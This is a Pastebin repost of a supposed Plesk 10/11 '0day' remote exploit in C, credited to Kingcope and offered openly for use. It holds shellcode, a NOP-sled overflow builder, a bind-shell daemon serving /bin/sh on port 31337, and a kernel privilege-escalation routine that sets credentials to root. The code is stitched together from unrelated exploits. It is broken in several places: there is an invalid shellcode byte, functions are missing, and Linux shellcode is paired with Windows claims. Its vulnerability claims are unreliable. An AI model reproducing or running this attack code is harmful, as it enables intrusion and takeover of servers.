Advertisement
Guest User

plesk 0day non expiring pastebin repost

a guest
Dec 26th, 2012
773
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.34 KB | None | 0 0
  1. Reposting so there is a permanent copy for Plesk support...
  2.  
  3. /*  PLESK 10.X.X & 11.X.X  - remote stack-based execution exploit
  4.  *  
  5.  *  Simple buffer overflow bug in plesk under windows 7/8/xp/NT, will
  6.  *  spawn a user shell and a root shell if PLESK binary
  7.  *  has full permissions to inetpub or netpub, or any other xamp-DIRS.
  8.  *
  9.  *  -  Plesk 11.0 (tested and works)
  10.  *  -  Plesk 10.1(tested and works)
  11.  *  -  Plesk 10.0 (tested and works)
  12.  *  -  Plesk 9.1 (tested and works)
  13.  *
  14.  *  The list is getting long, think most of the major WINDOWS (PLESK)
  15.  *  and/or *NTS's are affected. If you want to try out this
  16.  *  on *NT you have to replace the shellcode.
  17.  *
  18.  *
  19.  *  Created by Kingcope
  20.  *  Plesk, all your binaries are owned.
  21.  *
  22.  *  * Use this on your own risk and dont blame me if  *
  23.  *  * your life gets messed up!                       *
  24.  *  
  25.  *  Greetings to b0x, n0x, zx2c4, Xianur0, rdot, jeno, qazz
  26.  *  
  27.  */
  28.  
  29.  
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <unistd.h>
  33. #include <string.h>
  34.  
  35. #define NOP         0x90
  36. #define BSIZE       3000
  37. #define ERROR       -1
  38. #define PPATH       "plesk_efs"
  39.  
  40. char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76"
  41.                    "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3"
  42.                "\x8d\x4e\x08\x8d\x56\x0c\xch\x80\x31\xdb\x89\xd8\x40"
  43.            "\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  44.  
  45. unsigned long get_esp(void) {
  46.    __asm__("movl %esp, %eax");
  47. }
  48.  
  49. void usage(char *cmd) {
  50.    fprintf(stderr, "\n* Plesk remote stack-based execution exploit by Kingcope *\n");
  51.    fprintf(stderr, "==============================================\n");
  52.    fprintf(stderr, "An offset around 2000 should work, it did for\n");
  53.    fprintf(stderr, "me under Windows 8.\n");
  54.    fprintf(stderr, "\n\nUsage: %s <offset> <hostname> <victim port> <your opened port> \n\n", cmd);
  55.    exit(ERROR);
  56. }
  57.  
  58. int main(int argc, char *argv[]) {
  59.    int i, off, nop = NOP;
  60.    long esp, ret, *ret_ptr;
  61.    char *buffer, *buffer_ptr;
  62.  
  63.    if(argc<2) { usage(argv[0]); }
  64.  
  65.    off = atoi(argv[1]);
  66.    esp = get_esp();
  67.    ret = esp-off;
  68.  
  69.    if(!(buffer = (char *)malloc(BSIZE))) {
  70.       fprintf(stderr, "\nCant allocate memory!\n");
  71.       exit(ERROR);
  72.    }    buffer_ptr = buffer;
  73.    ret_ptr = (long *)buffer_ptr;
  74.  
  75.    for(i = 0; i < BSIZE; i+=4) {
  76.       *(ret_ptr++) = ret;
  77.    }
  78.  
  79.    for(i = 0; i < BSIZE/2; i++) {
  80.       buffer[i] = nop;
  81.    }
  82.  
  83.    buffer_ptr = buffer + ((BSIZE/2) - (strlen(shellcode)/2));
  84.  
  85.    for(i = 0; i < strlen(shellcode); i++) {
  86.       *(buffer_ptr++) = shellcode[i];
  87.    }
  88.  
  89.   char(i= 1) < strlen(connect_target) {
  90.  
  91. #define PORT 31337 #include #include #include #include #include int soc_des,
  92. soc_cli, soc_rc, soc_len, server_pid, cli_pid; struct sockaddr_in serv_addr;
  93. struct sockaddr_in client_addr; int main (int argc, char *argv[]) { int i;
  94. for(i=0;i<argc;i++) { memset(argv[i],'\x0',strlen(argv[i])); };
  95. strcpy(argv[0],"simpple connect by Kingcope"); soc_des = socket(AF_INET,
  96. SOCK_STREAM, IPPROTO_TCP); if (soc_des == -1) exit(-1); bzero((char *)
  97. &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET;
  98. serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(PORT);
  99. soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if
  100. (soc_rc != 0) exit(-1); if (fork() != 0) exit(0); setpgrp(); signal(SIGHUP,
  101. SIG_IGN); if (fork() != 0) exit(0); soc_rc = listen(soc_des, 5); if (soc_rc !=
  102. 0) exit(0); while (1) { soc_len = sizeof(client_addr); soc_cli = accept(soc_des,
  103. (struct sockaddr *) &client_addr, &soc_len); if (soc_cli < 0) exit(0); cli_pid =
  104. getpid(); server_pid = fork(); if (server_pid != 0) { dup2(soc_cli,0);
  105. dup2(soc_cli,1); dup2(soc_cli,2); execl("/bin/sh","sh",(char *)0);
  106. close(soc_cli); exit(0); } close(soc_cli); } }
  107.  
  108.    buffer[BSIZE-1] = '\0';
  109.    execl(PPATH, "efstool", buffer, 0);
  110.  
  111.    return 0;
  112.    
  113. }
  114.  
  115.     int i;
  116.     uint    *p = get_current();
  117.  
  118.     for (i = 0; i < 1024-13; i++) {
  119.         if (p[0] == uid && p[1] == uid &&
  120.             p[2] == uid && p[3] == uid &&
  121.             p[4] == gid && p[5] == gid &&
  122.             p[6] == gid && p[7] == gid) {
  123.             p[0] = p[1] = p[2] = p[3] = 0;
  124.             p[4] = p[5] = p[6] = p[7] = 0;
  125.             p = (uint *) ((char *)(p + 8) + sizeof(void *));
  126.             p[0] = p[1] = p[2] = ~0;
  127.             break;
  128.         }
  129.         p++;
  130.     }  
  131. }
  132.  
  133. int main(int argc, char *argv[])
  134. {
  135.     int     pi[2];
  136.     long        addr;
  137.     struct iovec    iov;
  138.  
  139.     uid = getuid();
  140.     gid = getgid();
  141.     setresuid(uid, uid, uid);
  142.     setresgid(gid, gid, gid);
  143.  
  144.     addr = get_target();
  145.     printf("[+] addr: 0x%lx\n", addr);
  146.  
  147.     if (pipe(pi) < 0)
  148.         die("pipe", errno);
  149.  
  150.     iov.iov_base = (void *) addr;
  151.     iov.iov_len  = TRAMP_SIZE;
  152.  
  153.     write(pi[1], TRAMP_CODE, TRAMP_SIZE);
  154.     _vmsplice(pi[0], &iov, 1, 0);
  155.  
  156.     gimmeroot();
  157.  
  158.     if (getuid() != 0)
  159.         die("wtf", 0);
  160.  
  161.     printf("[+] c0nn3ct3d, enjoy your shell\n");
  162.     putenv("HISTFILE=/pub");
  163.         display_terminal("1");
  164.     execl("/bash", "bash", "-i", NULL);
  165.     die("/bash", errno);
  166.  
  167.     perror ("malloc()");
  168.     exit (-1);
  169.   }
  170.   sprintf (egg, "EGG=");
  171.   memset (egg + 4, 0x90, NOPNUM);
  172.   sprintf (egg + 4 + NOPNUM, "%s", shellcode);
  173.  
  174.   offs = atoi (argv[1]);
  175.  
  176.   ret = get_esp () + offs;
  177.  
  178.   sprintf (s, "-d");
  179.   first = -vect - (0xffffffff - got + 1);
  180.   last = first;
  181.   while (ret)
  182.   {
  183.     i = ret & 0xff;
  184.     sprintf (tmp, "%u-%u.%u-", first, last, i);
  185.     strcat (s, tmp);
  186.     last = ++first;
  187.     ret = ret >> 8;
  188.   }
  189.     return 0;
  190. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement